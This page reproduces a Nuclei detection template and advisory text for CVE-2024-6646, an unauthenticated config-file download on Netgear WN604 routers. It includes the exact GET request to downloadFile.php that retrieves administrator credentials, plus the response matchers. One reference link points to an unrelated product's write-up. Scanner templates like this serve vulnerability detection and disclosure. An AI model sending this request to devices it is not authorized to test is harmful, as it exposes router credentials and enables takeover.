CVE-2024-6646: Netgear-WN604 downloadFile.php - Information Disclosure

2025-08-01 Netgear-WN604 PoC Public

Description

There is an information leakage vulnerability in the downloadFile.php interface of Netgear WN604. A remote attacker using file authentication can use this vulnerability to obtain the administrator account and password information of the wireless router, causing the router's background to be controlled. The attacker can initiate damage to the wireless network or further threaten it.

PoC

id: CVE-2024-6646

info:
  name: Netgear-WN604 downloadFile.php - Information Disclosure
  author: pussycat0x
  severity: medium
  description: |
    There is an information leakage vulnerability in the downloadFile.php interface of Netgear WN604. A remote attacker using file authentication can use this vulnerability to obtain the administrator account and password information of the wireless router, causing the router's background to be controlled. The attacker can initiate damage to the wireless network or further threaten it.
  impact: |
    Unauthenticated attackers can download configuration files containing administrator account and password information, enabling complete router compromise.
  remediation: |
    Update Netgear WN604 to the latest firmware version that addresses the information disclosure vulnerability in downloadFile.php.
  reference:
    - https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://github.com/mikutool/vul/issues/1
    - https://vuldb.com/?ctiid.271052
    - https://vuldb.com/?id.271052
    - https://vuldb.com/?submit.367382
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-6646
    cwe-id: CWE-200
    epss-score: 0.45681
    epss-percentile: 0.98733
    cpe: cpe:2.3:h:netgear:wn604:*:*:*:*:*:*:*:*
  metadata:
    fofa-query: title=="Netgear"
    product: wn604
    vendor: netgear
  tags: cve,cve2024,netgear,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/downloadFile.php?file=config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "system:basicSettings"
          - "system:staSettings"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/force-download"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008e96e1d59ae656f348766a2e32a3d5652d4cba9d714a878849033f6e25446188022100e894c3a86995c90270a1418516b415a417447c683fd8f8756a5e4c91702964ba:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-6646.yaml

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